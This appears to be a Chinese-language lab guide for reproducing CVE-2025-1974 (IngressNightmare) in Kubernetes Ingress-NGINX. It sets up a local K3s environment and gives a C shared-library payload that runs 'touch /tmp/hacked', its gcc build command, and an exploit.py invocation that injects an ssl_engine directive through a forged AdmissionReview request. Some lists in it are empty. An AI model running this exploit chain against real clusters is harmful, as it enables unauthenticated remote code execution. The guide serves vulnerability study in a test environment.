Kubernetes Ingress-NGINX未授权远程代码执行漏洞(CVE-2025-1974)

Ingress-NGINX是Kubernetes的一个入口控制器，使用NGINX作为反向代理和负载均衡器。

CVE-2025-1974（又称IngressNightmare）漏洞源于Ingress-NGINX Admission Controller的关键缺陷。准入控制器是Kubernetes的内部安全机制，用于在部署传入的入口对象之前对其进行验证。然而，该控制器无需身份验证即可通过网络访问，攻击者可以利用这一特性，向准入控制器发送恶意的AdmissionReview请求，注入未授权的配置到Ingress资源中。

指的注意的是，这个漏洞需要配合其他漏洞组合成利用链才能执行任意命令。

已知的可利用链包括：

参考链接:

漏洞环境

执行如下命令启动Kubernetes环境，这里使用轻量的K3s作为集群方案，借助Docker Compose启动：

docker compose up -d

该脚本会等待Kubernetes API就绪以及ingress-nginx控制器启动。环境启动后，Ingress-NGINX会同时监听30080和30443(TLS)端口，同时，Ingress-NGINX Admission Controller还会反向代理到30443端口，例如https://localhost:30443/networking/v1/ingresses。

漏洞复现

首先需要编译一个与目标架构相匹配的动态链接库（.so文件）：

#include<stdio.h>
#include<stdlib.h>

__attribute__((constructor)) static void reverse_shell(void)
{
    system("touch /tmp/hacked");
}

使用以下命令将上述源代码编译为动态链接库：

gcc -shared -fPIC -o shell.so shell.c

完成编译后，使用exploit.py来复现漏洞：

python exploit.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so

该利用通过伪造AdmissionReview请求，注入ssl_engine指令，迫使NGINX加载恶意的动态共享对象。利用成功后，你可以在ingress-nginx容器的/tmp目录下看到创建的hacked文件。